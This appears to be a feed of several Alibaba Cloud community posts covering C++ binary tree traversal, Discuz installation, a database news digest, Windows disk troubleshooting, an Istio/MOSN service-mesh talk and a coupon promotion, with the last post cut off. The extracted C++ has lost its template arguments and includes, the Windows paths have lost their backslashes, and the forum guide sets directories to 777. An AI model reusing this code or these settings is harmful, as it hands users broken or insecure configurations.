
      A
      /
      B C
      / /
      D E F G

      /
      H I

      前序遍历:

      先根遍历,拿到一个节点的指针,先判断是否为空,不为空就先访问该结点,然后直接进栈,接着遍历左子树;为空则要从栈中弹出一个节点来,这个时候弹出的结点就是其父亲,然后访问其父亲的右子树,直到当前节点为空且栈为空时,算法结束.

      阿里云服务器1核2G低至82元/年,阿里云官活动网址:https://dashi.aliyun.com/site/yun/aliyun 可以用20代金券,即102-20=82。

      void preVisitStack(pNode root)
      {

      stack st;
      pNode p = root;
      while (p || !st.empty()) {

      if (p) {
          visit(p);
          st.push(p);
          p = p->lchild;
      } else {
          p = st.top();
          st.pop();
          p = p->rchild;
      }

      }
      cout << endl;
      }

      中序遍历:

      和前序遍历一样,只不过在访问节点的时候顺序不一样,访问节点的时机是从栈中弹出元素时访问,如果从栈中弹出元素,就意味着当前节点父亲的左子树已经遍历完成,这时候访问父亲,就是中序遍历.

      void midVisitStack(pNode root)
      {

      stack st;
      pNode p = root;
      while (p || !st.empty()) {

      if (p) {
          st.push(p);
          p = p->lchild;
      } else {
          p = st.top();
          visit(p);
          st.pop();
          p = p->rchild;
      }

      }
      cout << endl;
      }

      后序遍历:

      后续遍历就不一样了,首先肯定是先访问左子树,把父亲节点保存于栈中,问题是当元素从栈中弹出的时候,我们无法判断这个时候是该访问其右子树还是访问父亲节点,于是我们就需要一个标记,当访问左子树时我们把父亲节点的标记设为1,表示下一步如果弹出该节点,就访问其右子树;弹出一个节点时,我们要判断该节点的标记,如果是1,则访问其右子树,并把该节点的标记设置成2,表示下一步就访问该节点,然后把该节点继续入栈,如果是2,那么表示访问该节点,访问并且丢弃该节点.

      为了不继续添加新的数据结构,我是用了STL中的pair来封装节点与标记.

      void backVisitStack(pNode root)
      {

      stack > st;
      pNode p = root;
      while (p || !st.empty()) {

      if (p) {
          st.push(make_pair(p, 1));
          p = p->lchild;
      } else {
          auto now = st.top();
          st.pop();
          if (now.second == 1) {
              st.push(make_pair(now.first, 2));
              p = now.first->rchild;
          } else
              visit(now.first);
      }

      }
      cout << endl;
      }

      完整测试代码:

      include
      using namespace std;

      typedef struct Node *pNode;

      struct Node{

      char c;
      pNode lchild, rchild;
      Node(char c, pNode lchild = nullptr, pNode rchild = nullptr) :

      c(c), lchild(lchild), rchild(rchild) {}

      };

      pNode build()
      {

      /*

           A
         /  
       B     C
      /    / 

      D E F G

          / 
         H   I

      */
      pNode root = new Node('A');
      root->lchild = new Node('B');
      root->rchild = new Node('C');
      root->lchild->lchild = new Node('D');
      root->lchild->rchild = new Node('E');
      root->rchild->lchild = new Node('F');
      root->rchild->rchild = new Node('G');
      root->rchild->lchild->lchild = new Node('H');
      root->rchild->lchild->rchild = new Node('I');
      return root;
      }

      void visit(pNode x)
      {

      cout << x->c << " ";
      }

      void preVisitStack(pNode root)
      {

      stack st;
      pNode p = root;
      while (p || !st.empty()) {

      if (p) {
          visit(p);
          st.push(p);
          p = p->lchild;
      } else {
          p = st.top();
          st.pop();
          p = p->rchild;
      }

      }
      cout << endl;
      }

      void midVisitStack(pNode root)
      {

      stack st;
      pNode p = root;
      while (p || !st.empty()) {

      if (p) {
          st.push(p);
          p = p->lchild;
      } else {
          p = st.top();
          visit(p);
          st.pop();
          p = p->rchild;
      }

      }
      cout << endl;
      }

      void backVisitStack(pNode root)
      {

      stack > st;
      pNode p = root;
      while (p || !st.empty()) {

      if (p) {
          st.push(make_pair(p, 1));
          p = p->lchild;
      } else {
          auto now = st.top();
          st.pop();
          if (now.second == 1) {
              st.push(make_pair(now.first, 2));
              p = now.first->rchild;
          } else
              visit(now.first);
      }

      }
      cout << endl;
      }

      int main()
      {

      pNode root = build();
      preVisitStack(root);
      midVisitStack(root);
      backVisitStack(root);
      }

      测试结果:

      依次为前序、中序、后序遍历的结果.

      A B D E C F H I G
      D B E A H F I C G
      D E B H I F G C A

      ]]>
      如何安装discuz论坛-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 安装discuz论坛的方法:

      首先,您需要去 http://www.discuz.net/ 下载一个合适的版本,并申请一个虚拟主机或服务器。建议你用阿里云服务器1核2G低至82元/年,阿里云官活动网址:https://dashi.aliyun.com/site/yun/aliyun 可以用20代金券,即102-20=82。
      然后通过FTP上传所需要的程序,
      运行安装程序,
      设置论坛

      安装详细流程

      第 1 步:FTP上传 (如果FTP软件也不会用,那就比较麻烦了。可以上百度搜索FTP教材)

      使用 FTP 软件登录您的服务器,建立一个单独的目录,或选择合适的位置,确保存放在此位置的文件能够被 web 请求所访问到,并且该目录中具有执行 PHP 代码的权限。将 Discuz! 文件包的 ./upload 目录中的全部文件和目录结构上传到服务器(注意是上传 upload 目录中的文件和目录,而不是上传包含 upload 目录本身的目录和结构)。

      如果您仍然不了解应该上传哪些内容,请参考《文件及目录结构》中的说明。

      申请阿里云服务时,可以使用2000元阿里云代金券,阿里云官网领取网址:https://dashi.aliyun.com/site/yun/youhui

      Discuz! 要求使用 FTP 软件上传 php 文件时,使用二进制(BINARY)方式进行,否则将无法正常使用。有关二进制上传的具体细节,请参考《安装常见问题》中的说明。

      第 2 步:设置目录属性

      如果您的服务器使用 Windows 操作系统,可跳过这一步。

      您在正式安装以前,需要设置相关的目录属性,以便数据文件可以被 Discuz! 正确的读写。使用 FTP 软件登录您的服务器,将服务器上以下的目录属性设置为 777。

      ./templates
      ./templates/default
      ./templates/default/.
      ./attachments
      ./customavatar
      ./forumdata
      ./forumdata/cache
      ./forumdata/templates
      ./forumdata/threadcaches
      ./forumdata/logs
      如果您仍不了解那些目录或文件需要设置属性,请参考《文件及目录结构》中的说明。

      如果您不了解应该如何设置属性,请参考《安装常见问题》中的说明。

      第 3 步:配置数据库信息

      使用编辑器打开您本地机器上的默认配置文件(config.inc.php),看到以下的内容:

      $dbhost = 'localhost'; // database server

                  // 数据库服务器
      

      $dbuser = 'dbuser'; // database username

                  // 数据库用户名
      

      $dbpw = 'dbpw'; // database password

                  // 数据库密码
      

      $dbname = 'discuz'; // database name

                  // 数据库名
      

      $adminemail = 'admin@your.com'; // admin email

                  // 论坛系统 Email
      

      $dbreport = 0; // send db error report? 1=yes

                  // 是否发送数据库错误报告? 0=否, 1=是

      请依据以上的注释配置空间服务商提供的数据库服务器、用户名、密码及数据库名。如果您使用自己安装的服务器环境,我们建议您在可能的情况下,尽量不要使用 root 账号,而依据 Discuz! 及服务器上其他软件的需要,单独为每个程序分配账号和数据库,以减少安全问题发生的可能。

      请您了解:数据库参数我们也无法告诉您如何设置,需要根据服务器账号的实际情况而定。如果您不了解,请咨询您的空间服务商,他们会完整的告诉您具体的设置方法。

      配置好参数设置后,请保存该文件(config.inc.php),并不要忘记将其上传到服务器上的论坛目录中,覆盖原有的默认配置文件。

      第 4 步:执行安装脚本

      请在浏览器中运行 install.php,即访问 http://您的域名/论坛目录/install.php。

      安装脚本会检查您的服务器系统环境、剩余空间、数据库环境,并具备一定的纠错功能。如果您在之前某一步骤操作有问题,通常安装脚本会发现并作以提示,请您根据提示再对安装过程进行检查。如果没有提示出问题,请您按照其中的说明,完成最后的安装。使用中的问题,请参考《使用指南》。

      第 5 步:运行快速设置向导

      现在进行到最后一步,如果您了解整个论坛的设置则不必运行此向导。

      请在浏览器运行admincp.php,即访问 http://您的域名/论坛目录/admincp.php,进行设置,此向导将根据您论坛的类型批量设置相关参数,您可以在运行完后,再进入详细设置进行微调。

      安装成功后,请通过 FTP 删除安装脚本(install.php),以避免被再次安装。

      ]]>
      数据库周刊29│2020数据库研究报告;Oracle取消今年技术大会;腾讯云DBbridge发布支持一键迁库;饿了么迁至阿里云;PG数组查询;Oracle被比特币勒索;DM8 安全管理…-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 数据库周刊29.jpg

      热门资讯

      1、快讯:2020年Oracle OOW大会因疫情取消 系近20年首度
      【摘要】Oracle 近日宣布,2020年 Oracle OpenWorld 技术大会因新冠疫情而取消,取而代之的将是在线的免费网络分享活动,活动将在不久后宣布,敬请关注。Oracle OpenWorld原定今年秋天在拉斯维加斯举行,这是近20年内Oracle首次取消这一活动。

      2、腾讯云DBbridge正式发布:传统数据库迁移上云一键搞定
      【摘要】6月18日,腾讯云正式发布企业级数据库迁移产品DBbridge。这款产品通过提供一站式数据迁移平台以及专家服务,帮助企业实现异构数据库之间数据的迁移和同步。目前,DBbridge已经支持Oracle、TDSQL、TBase、MySQL、PostgreSQL等多种数据库类型的迁移。

      3、甲骨文第四财季收入同比下降6%,Cloud和License收入下降了22%
      【摘要】甲骨文今天发布了2020财年第四财季及全年财报。报告显示,甲骨文第四财季总营收为104.40亿美元,同比下降6%,Cloud和License收入下降了22%。Oracle首席执行官Safra Catz表示:因为疫情影响,业务交易量有所减少,随着各国重新开放经济,许多业务已经恢复,我们相信,大部分客户将继续购买使用我们的产品和服务。

      4、饿了么100%迁至阿里云:高峰时可支持1亿人同时点单
      【摘要】6月17日,饿了么宣布已完成100%上云,旗下所有业务系统、数据库设施等均已迁移至阿里云。高峰期饿了么可在阿里云上快速扩容,可以支持1亿人同时在线点单,低峰期则可以释放算力,每年节省上千万元,同时动态规划最优线路,让外卖更快送达。

      精选文章

      1、Postgresql array数组查询及操作array_remove、array_append
      【摘要】array_remove 从数组中移除某个值,array_append 向数组中批量插入值。移除数组中重复值:先将数组unnest,取distinct并再次转换成数组,如果得到的数组和name[1:cardinality(name)-1])相等,那么说明这些name数组中存在重复值,通过set name=name[1:cardinality(name)-1]达到去重目的。

      2、用Benchmark压测PostgreSQL测试
      【摘要】在我们学习数据库或者开发数据库监控软件的时候,经常需要给数据库加压。经过简单的配置,目前我们使用benchmark为Oracle、达梦、金仓、华为高斯、Postgres等数据库加压。本文分享使用Benchmark工具对PG库进行加压的实验案例。

      3、深入理解:Oracle Move 和Shrink释放高水位空间HWM的区别
      【摘要】在Oracle数据库中,进行了大量的数据增删改之后,就可能出现空间的碎片,通过 move 和shrink 可以对空间进行回收。本文介绍少了move 和shrink的功能介绍和注意事项。

      4、Oracle物化视图日志表收缩
      【摘要】某些物化视图日志由于客户端物化视图刷新地不是很及时,导致物化视图日志表膨胀地非常厉害,但实际日志表里的数据又不是很多。对于这种膨胀比较厉害的物化视图日志,需要进行收缩。本文分别介绍了线下和线下操作物化视图日志表收缩的方法。

      干货文档

      1、《2020数据库研究报告:国产数据库的宽赛道、高壁垒、新机遇》.doc
      【摘要】本文档为兴业证券发布的2020年国产数据库行业研究与投资机会报告。报告显示,数据库上云进入快车道,国产数据库有望实现弯道超车。当前国产数据库已经形成三大核心竞争阵营,包括:以阿里、腾讯和华为科技巨头为代表的云数据厂商……

      2、《数据安全:Oracle多场景下比特币勒索的解密与恢复实战》.ppt
      【摘要】近年来很多用户遭遇数据库的安全问题,比特币勒索也层出不穷。本文档带你了解Oracle数据库遭比特币勒索的场景与恢复手段,以及如何避免此类安全问题。

      3、《基于Oracle自治数据库快速开发智能分析应用》甲骨文-李青.doc
      【摘要】本文档分享Oracle自治数据仓库入门、ADW自动化管理、ADW自动化调优、ADW帮助DBA工作减负,自治数据仓库云的关键应用场景和案例分享等。

      4、《达梦数据库 DM8 安全管理》官方文档.doc
      【摘要】本文档主要介绍达梦数据库DM8的安全体系结构,各安全管理模块的功能、原理及相关的数据库管理员和用户如何利用这些安全管理功能对数据库或数据进行安全保护。


      详情及往期周刊请访问墨天轮数据库周刊专栏。
      https://www.modb.pro/topic/12711?06

      ]]>
      C盘空间占满排查方案-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      作者:棋玉

      C盘空间占满的问题,首先要明确一下,空间被占满就是说明有文件把空间给占用了,右键所有文件属性看到差距很大的原因,总结有如下两个:
      1,隐藏文件(包括pagefile.sys)
      2, 系统管理员没有权限访问的文件比如System volume information 这个文件夹

      排查方案如下:

      =========

      1.将隐藏文件设为可见。

      Computer>Local Disk(C)>View>Options>Change folder and search options, 显示隐藏文件。
      image.png

      2.默认情况下,System volumeinformation 这个文件夹系统管理员没有权限访问,所以大小为0.

      运行以下命令行赋予管理员完全控制权限这样才知道这个文件夹的实际大小。用管理员权限运行以下命令行:

      takeown /f "C:system volumeinformation" /r /a
      icacls "c:system volumeinformation" /grant builtinadministrators:F

      3.使用工具 windirstat 或者treesize工具,这两个工具都可以非常直观的显示每个目录及文件夹占用大小
      https://windirstat.net/
      image.png

      4.如果以上两个工具也未能定位到问题,说明还是存在管理员没有权限查看的文件,比如:
      IIS服务器: 主要是log 文件,默认是如下路径: C:inetpublogsLogFiles
      SQL server: 查看如下路径C:Program FilesMicrosoft SQLServerMSSQL10_50.MSSQLSERVERMSSQL

      PS:第三步中使用工具如果看到占用最多的是winsxs 或者任何系统目录的话,不要轻易去清除这个文件夹,而是应该查看除了这个文件夹以外哪些文件占用了磁盘空间。

      Winsxs 相当于系统的备份数据库,不可以完全删除或者移除,一般来讲清理的空间非常有限,如果坚持要清理,请参考如下链接:
      2008R2:
      https://support.microsoft.com/zh-cn/help/2852386/disk-cleanup-wizard-addon-lets-users-delete-outdated-windows-updates-o
      2012&2012R2:
      https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/dn251565(v=win.10)?redirectedfrom=MSDN

      ]]>
      多点生活在 Service Mesh 上的实践 | 线上直播整理-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      Service Mesh Webinar 是由 ServiceMesher 社区和 CNCF 联合发起的线上直播活动,活动将不定期举行,为大家带来 Service Mesh 领域的知识和实践分享。

      本文根据5月28日晚 Service Mesh Webinar#1 多点生活平台架构组研发工程师陈鹏,线上主题分享《多点生活在 Service Mesh 上的实践 -- Istio + Mosn 在 Dubbo 场景下的探索之路》整理,文末包含本次分享的视频回顾链接以及 PPT 下载地址。

      前言

      随着多点生活的业务发展,传统微服务架构的面临升级困难的问题。在云原生的环境下,Service Mesh 能给我们带来什么好处。如何使用社区解决方案兼容现有业务场景,落地成符合自己的 Service Mesh 成为一个难点。

      今天主要给大家分享一下 Service Mesh 的一些技术点以及多点生活在 Service Mesh 落地过程中适配 Dubbo 的一些探索。

      首先我们从三个方面入手:

      • 为什么需要 Service Mesh 改造;
      • 探索 Istio 技术点;
      • Dubbo 场景下的改造;

      为什么需要 Service Mesh 改造

      说到为什么需要改造,应该先说一下 Service Mesh 和传统微服务架构的一些特点。

      微服务

      微服务一般有这些模块:

      • 安全;
      • 配置中心;
      • 调用链监控;
      • 网关;
      • 监控告警;
      • 注册和发现;
      • 容错和限流;

      这些模块在传统的微服务架构中有的是和 SDK 结合在一起,有的是一个独立的中间件。

      特点:

      • 独立部署;
      • 模块的边界;
      • 技术多样性;

      正是由于技术多样性,我的微服务系统可以使用不同的语言进行开发,比如我一个商城系统,订单系统使用 Java 开发,库存系统使用 Go 开发,支付系统使用 Python 开发,微服务之间通过轻量级通信机制协作,比如:HTTP/GRPC 等。比如目前多点使用的 Dubbo(服务治理框架),随着多点生活的业务发展,目前遇到最棘手的问题就是中间件在升级过程中,推进很慢,需要业务方进行配合,接下来我们看看 Service Mesh。

      Service Mesh

      优点:

      • 统一的服务治理;
      • 服务治理和业务逻辑解藕;

      缺点:

      • 增加运维复杂度;
      • 引入延时;
      • 需要更多技术栈;

      看了 Service Mesh 的优缺点,如果我们 Mesh 化了之后就可以解决我们目前的痛点,升级中间件只需要重新发布一下 Sidecar 就好了,不同语言开发的微服务系统可以采用同样的服务治理逻辑,业务方就可以尝试更多的技术。

      探索 Istio 技术点

      在谈 Dubbo 场景下的改造之前我们先介绍一下 Istio 相关的技术点,然后结合 Dubbo 场景应该如何进行适配

      MCP

      MCP(Mesh Configuration Protocol)提供了一套用于订阅(Watch)、推送(Push)的 API,分为 Source 和 Sink 两个角色。

      • Source 是资源提供方(server),资源变化了之后推送给订阅者(Pilot),Istio 1.5 之前这个角色就是 Galley 或者自定义 MCP Server;
      • Sink 是资源的订阅者(client),在 Istio 1.5 之前这个角色就是 Pilot 和 Mixer,都是订阅 Galley 或者自定义 MCP Server 的资源

      MCP 的订阅、推送流程图:

      mcp

      为了和实际情况结合,我们就以 MCPServer 作为 Source,Pilot 作为 Sink 来介绍订阅、推送流程,其中 MCP 通信过程中所传输的「资源」就是 Istio 定义的 CRD 资源,如:VirtualService、DestinationRules 等。

      订阅

      • Pilot 启动后会读取 Configmap 的内容,里面有一个 configSources 的一个数组配置(Istio 1.5 之后没有这个配置,需要自己添加)、存放的是 MCP Server 的地址;
      • Pilot 连接 MCPServer 之后发送所关注的资源请求;
      • MCPServer 收到资源请求,检查请求的版本信息(可能为空),判断版本信息和当前最新维护的版本信息是否一致,不一致则触发 Push 操作,一致则不处理;
      • Pilot 收到 Push 数据,处理返回的数据(数据列表可能为空,为空也标示处理成功),根据处理结果返回 ACK(成功)/ NACK(失败),返回的应答中包含返回数据的版本信息,如果返回的是 NACK,Pilot 会继续请求当前资源;
      • MCPServer 收到 ACK(和资源请求一致)之后对比版本号,如果一致则不推送,否则继续推送最新数据;

      推送

      • MCPServer 自身数据发生变化,主动推送变化的资源给 Pilot;
      • Pilot 收到之后处理这些数据,并根据处理结果返回 ACK / NACK;
      • MCPServer 收到 ACK(和资源请求一致) 之后对比版本号,如果一致则不推送,否则继续推送最新数据;

      这样的订阅、推送流程就保证了 MCPServer 和 Pilot 资源的一致。MCPServer 只能通过 MCP 协议告诉 Pilot 资源发生变化了么?当然不是,MCPServer 可以使用创建 CR 的方式,Pilot 通过 Kubernetes 的 Informer 机制也能感知到资源发生变化了,只是通过 MCP 传输的资源在 Kubernetes 里面看不到,只是存在于 Pilot 的内存里面,当然也可以通过 Pilot 提供的 HTTP debug 接口(istiod_ip:8080/debug/configz)来查。

      https://github.com/champly/mcpserver  提供了一个 MCPServer 的一个 demo,如果需要更加细致的了解 MCP 原理可以看一看。

      更多 debug 接口可以查看: https://github.com/istio/istio/blob/5b926ddd5f0411aa50fa25c0a6f54178b758cec5/pilot/pkg/proxy/envoy/v2/debug.go#L103

      Pilot

      Pilot 负责网格中的流量管理以及控制面和数据面之前的配置下发,在 Istio 1.5 之后合并了 Galley、Citadel、Sidecar-Inject 和 Pilot 成为 Istiod。我们这里说的是之前 Pilot 的功能,源码里面 pilot-discovery 的内容。

      功能

      • 根据不同平台(Kubernetes、Console)获取一些资源,Kubernetes 中使用 Informer 机制获取 Node、Endpoint、Service、Pod 变化;
      • 根据用户的配置(CR、MCP 推送、文件)触发推送流程;
      • 启动 gRPC server 用于接受 Sidecar 的连接;

      推送流程

      • 记录变化的资源类型;
      • 根据变化的资源类型(数组)整理本地数据;
      • 根据变化的资源类型判断需要下发的 xDS 资源;
      • 构建 xDS 资源,通过 gRPC 下发到连接到当前 Pilot 的 Sidecar;

      xDS

      Sidecar 通过动态获取服务信息、对服务的发现 API 被称为 xDS。

      • 协议部分(ADS、控制资源下发的顺序及返回确认的数据);
      • 数据部分(CDS、EDS、LDS、RDS、SDS);

      Pilot 资源类型发生变化需要下发的 xDS 资源对照:

      资源名称 CDS EDS LDS RDS
      Virtualservices
      Gateways
      Serviceentries
      Destinationrules
      Envoyfilters
      Sidecars
      ConfigClientQuotaspecs
      ConfigClientQuotaspecbindings
      Authorizationpolicies
      Requestauthentications
      Peerauthentications
      Other

      以上内容是根据 源码 整理的

      MOSN

      MOSN 是一款使用 Go 语言开发的网络代理软件,作为云原生的网络数据平面,旨在为服务提供多协议、模块化、智能化、安全的代理能力。MOSN 是 Modular Open Smart Network 的简称。MOSN 可以与任何支持 xDS API 的 Service Mesh 集成,亦可以作为独立的四、七层负载均衡,API Gateway,云原生 Ingress 等使用。

      MOSN:https://github.com/mosn/mosn

      配置文件:

      • mosn_config:MOSN 的配置信息;
      • listener:LDS;
      • routers:RDS;
      • cluster:CDS 和 EDS;

      listener

      listener

      其中 address 就是 MOSN 监听的地址。

      filter chains

      filter_chains 在 MOSN 里面的 network chains,实现的还有:

      • fault_inject;
      • proxy;
      • tcp_proxy;

      network chains 同级的还有 listener chainsstream chains, 其中
      listener chains 目前只有 original_dst 实现。stream chains 可以对请求中的

      • StreamSender;
      • StreamReceiver;
      • StreamAccessLog;

      进行 BeforeRoute AfterRoute 这些关键步骤进行修改请求信息。

      所有的 filter 都只有两种返回结果:

      • Continue:如果后面还有 filter 那就执行后续 filter
      • Stop:执行完当前 filter 就不再继续执行了;
      conv

      看图中的配置信息 config 的内容, downstream_protocolupstream_protocol 这里如果配置不一致,就需要协议转换。比如 HTTP1 转换为 HTTP2,MOSN 就会先把 HTTP1 转换为 common 的中间协议,然后再把 common转换为 HTTP2,这样就实现了协议之间的转换。如果需要自己实现其他协议转换,那么只需要编写转换 common 的内容和 common 转换为当前协议的内容即可实现协议之间的互转。

      proxy

      我们再来看 filters 里面的 proxy,这个就是一个会经过路由的代理,配置信息里面配置了router_config_name,就是要路由的router名字。

      routers

      routers

      根据 listener 里面的 proxy 的配置信息里面的 router_config_name 会找到一个 router,如上图所示。然后就会根据请求里面的 domains 去匹配 virtual_hosts, 这里的 domains 里面在 HTTP 里面就会是 host,当在 Dubbo 协议里面我们可以把 service(有些地方叫做 interface、target,我们这里统一叫 service) 放到 x-mosn-host 这个 MOSN 的 Header 里面,MOSN 就可以根据这个去匹配 domains

      然后匹配到一个 virtual_hosts 之后,就会得到对应的 routers,这里又会根据 match 里面的匹配规则进行匹配,HTTP 协议里面可以根据 pathqueryparamheader 等信息进行匹配,具体匹配规则通过 VirtualService 下发,如果是 Dubbo 协议,那么可以套用 HTTPRoute 规则,然后把 Dubbo 的 attachment 解析出来当作 header去用,目前 MOSN 没有解析 attachment,我们自己实现了一个。

      匹配到了之后会得到一个 route,图中所示只有一个 cluster_name,如果是有多个 subset(DestinationRule 定义),那么就会有 weighted_cluster ,里面会有 cluster_nameweight 构成的对象的数组,例如:

      "route":{
          "weighted_clusters":[
              {
                  "cluster":{
                      "name":"outbound|20882|green|mosn.io.dubbo.DemoService.workload",
                      "weight":20
                  }
              },
              {
                  "cluster":{
                      "name":"outbound|20882|blue|mosn.io.dubbo.DemoService.workload",
                      "weight":80
                  }
              }
          ],
          "timeout":"0s",
          "retry_policy":{
              "retry_on":true,
              "retry_timeout":"3s",
              "num_retries":2
          }
      }

      其中 weight 之和必须为 100(Istio 定义的),必须是非负数的整数。

      下面有一些 timeoutretry_policy 服务策略。

      匹配上了之后会得到一个cluster_name,然后我们再看 cluster

      cluster

      routers 里面匹配出来的 cluster_name 作为 keycluster 里面会找到这么一个对象。

      cluster

      其中 lb_type 就是节点的负载均衡策略,目前 MOSN 支持:

      • ROUNDROBIN;
      • RANDOM;
      • WEIGHTED_ROUNDROBIN;
      • EAST_REQUEST;

      hosts 里面的 address 里面也可以配置权重,这个权重必须是大于 0 或小于 129 的整数。可以通过 Istio 1.6 里面的 WorkloadEntry 来配置权重。然后根据负载均衡策略拿到 host 之后直接请求到对应的节点。

      这就完成了流量的转发。接下来我们看看 Dubbo 场景下应该如何改造。

      Dubbo 场景下的改造

      所有的改造方案里面都是要把 SDK 轻量化,关于服务治理的逻辑下沉到 Sidecar,我们在探索的过程中有三种方案。

      Istio + Envoy

      这个方案是 Istio+Envoy 的方案,是参考的华为云的方案: https://support.huaweicloud.com/bestpractice-istio/istio_bestpractice_3005.html

      • 通过创建 EnvoyFilter 资源来给 xDS 资源打 patch;
      • Envoy 解析 Dubbo 协议中的 Service 和 Method;
      • 根据路由策略配置把流量转发到对应的 Provider;

      这种方案如果需要解析更多的 Dubbo 内容,可以通过 WASM 扩展。

      MOSN + Dubbo-go

      • MOSN 提供 Subscribe、Unsubscribe、Publish、Unpublish 的 HTTP 服务;
      • SDK 发送请求到 MOSN 提供的这些服务,让 MOSN 代为与真正的注册中心交互;
      • MOSN 通过 Dubbo-狗直接和注册中心连接;

      这种方案的话就不需要 Istio。

      Istio + MOSN

      这种方案就是我们现在采用的方案,包括:

      • 数据面改造;
      • 控制面适配;

      我们有一个理念就是如果能通过标准的 CRD 最好,如果描述不了的话我们就通过 EnvoyFilter 进行修改。这里特别说一下,我们一开始也有一个误区就是 EnvoyFilter 是作用于 Envoy,其实不是的,是对生成好的 xDS 资源进行 ADD, MERGE 等操作,目前只可以修改 LDS、RDS、CDS,这个修改也是有一定局限性的。如果 EnvoyFilter 修改不了某些特定的场景(比如 Istio 1.6 之前的 ServiceEntry 里面的 Endpoint 不能单独为每个实例指定不同的端口),那么我们只能修改 pilot-discovery 的代码,xDS 是不会作任何修改的。按照这个理念,我们开始探索如何改造。

      数据面改造

      mosn

      首先有三个端口需要说明一下:

      • 20880 : provider 监听端口;
      • 20881 : consumer 请求 mosn 的这个端口,mosn 做转发到 provider;
      • 20882 : 接受来自下游(mosn/consumer)的请求,直接转到 127.0.0.1:20880;

      步骤:

      • provider 启动之后请求本地 mosn 的注册接口,把服务信息注册到注册中心(zk/nacos),注册请求到达 mosn 之后,mosn 会把注册端口号改为 20882;
      • consumer 启动之后不需要连接注册中心,直接把请求发送到 127.0.0.1:20881;
      • consumer 端的 mosn 收到请求之后,根据配置信息 listener->routers->cluster->host,找到合适的 host(可以是 provider 的 mosn 或者 直接是 provider) 发送请求,这里的匹配过程可以修改 MOSN 让 Dubbo 的 service 作为 domains,attachment 作为 header;
      • provider 端 mosn 收到请求后(20882),直接转发请求到本地 127.0.0.1:20880;

      这个只是通过静态配置实现的,如果 provider 这些信息如何通过 Pilot 下发呢?

      控制面适配

      MOSN 本身支持 xDS API,配置信息可以通过 xDS 下发,而不是静态配置。我们有一个对接配置中心,注册中心的程序我们叫 Adapter,这个主要获取注册中心的服务信息,然后根据配置中心的服务治理策略(比如流程比例,还有一些我们内部的一些单元的信息)构建出 Istio 支持的 CR,然后创建 CR,Pilot 自己感知 CR 变化 或者 通过 MCP 把这些信息直接发送给 Pilot,触发 Pilot 的资源变化,然后 Pilot 根据资源的变化去下发一些 xDS 资源,Sidecar 收到资源变化后,就可以动态调整路由策略,从而达到服务治理的目的。

      最终架构图如图所示:

      architecture

      注册(灰色部分):

      1. provider 发送注册信息给 MOSN;
      2. MOSN 修改注册信息(端口号等),然后注册到真正到注册中心(ZK / Nacos 等);

      配置下发(蓝色部分):

      1. Adapter 连接注册中心和配置中心并感知其变化;
      2. Adapter 感知到变化之后通过 MCP 把变化的信息传递给 Pilot(或者创建 CR 让 Pilot 自己感知);
      3. Pilot 感知到资源变化触发配置下发流程,根据变化到资源类型下发对应到 xDS 资源到 连接到它的 Sidecar;

      服务请求(黄色部分):

      1. consumer 请求本地 127.0.0.1:20881(MOSN 监听的端口);
      2. MOSN 根据 listener->router->cluster 找到一个 host,然后把请求转发到这个 host 上;

      以上就完成了服务注册、发现、治理的所有逻辑。

      Istio 1.6 之后可以通过 WorkloadEntry + ServiceEntry 这两种 CRD 资源来描述集群外的服务,当实例上线或者下线的时候就会直接触发 EDS 增量下发

      Demo 演示

      首先要说明一下:

      • 由于没有真正的注册,所以使用手动添加 ServiceEntry 的方式代替 Adapter 功能;
      • Listener 和 Routers 配置信息目前是固定的;
      • Provider 只注册到本地 ZK;
      • Sidecar 注入到方式使用的是多个 Container;

      具体操作可以按照 mosn-tutorial,里面的istio-mosn-adapt-dubbo。即使你没有 Kubernetes 环境也可以尝试的,后期这个会移植到 MOSN 官网,敬请期待。

      mosn-tutorial:https://github.com/mosn/mosn-tutorial

      以上就是本期分享的全部内容,感谢大家的收看。

      本期嘉宾介绍

      陈鹏,多点生活平台架构组研发工程师,开源项目与云原生爱好者。有多年的网上商城、支付系统相关开发经验,2019年至今从事云原生和 Service Mesh 相关开发工作。

      回顾资料

      PPT 下载:https://github.com/servicemesher/meetup-slides/tree/master/2020/05/webinar
      视频回顾:https://www.bilibili.com/video/BV15k4y1r7n8

      ]]>
      通过阿里云云小站申请阿里云服务器低至89元/年-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在阿里云云小站上购买阿里云服务器可以领取哪些优惠呢?申请阿里云服务时,可以使用2020元阿里云代金券,阿里云官网领取网址:https://dashi.aliyun.com/site/yun/youhui

      云服务器ECS 20元代金卷, 云服务器ECS 100元代金券,阿里云通用代金券800元,云产品通用代金卷300元, 数据库代金券 500元, 数据库代金券 300元
      云服务器.png

      如上图 所示

      云服务器ECS 20元优惠券 用于阿里云新用户(从没买过阿里云任何产品的用户 域名不算)有效期7天。
      云服务器ECS 100元代金卷用于产品首购(没买过阿里云ecs的用户)有效期30天
      阿里云通用代金券800元和300元 产品首购(顾名思义涵盖所有阿里云产品首次购买可以使用)有效期30天
      阿里云数据库代金券500元(没有买过数据库的用户 可领取使用)有效期7天
      阿里云数据库代金券300元,产品复购(已经买过数据库的用户 可接着领取使用)
      我们领取代金券以后就可以挑选自己想要购买的云服务器机型如下图所示基本涵盖了各种基础应用场景。阿里云代金券阿里云官网领取网址:https://dashi.aliyun.com/site/yun/youhui
      QQ图片20200623134944.png

      更多阿里云云服务器优惠折扣可以去阿里云官网的:阿里云云小站 查看(https://dashi.aliyun.com/site/yun/youhui 看这个网址就知道属于阿里云官网,不是某个第三方网站 ),如果您有更多对活动不理解以及阿里云服务器技术上的问题可以联系我们,为您解答。

      ]]>
      Windows 数据恢复-动态盘显示无效-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      作者:棋玉

      背景:

      很多客户在使用磁盘时选择了动态盘,又对这块动态盘创建了快照,之后在数据恢复或其他场景下用快照创建了新的磁盘,将新磁盘挂载到相同实例时,发现新磁盘显示无效。
      image.png

      问题原因:

      动态盘通过LDM进行管理,对于mbr分区,LDM保存在磁盘的最后1MB(如下图所示),这1MB空间保存了磁盘信息,分区信息以及磁盘id,group id等,由于源磁盘和新磁盘最后1MB空间是一样的,两块盘的ldm数据库完全相同,对应的磁盘id,group id也是完全相同,导致系统只能识别一块磁盘。
      image.png

      可以通过微软的LDMDump工具查看LDM database的具体信息:
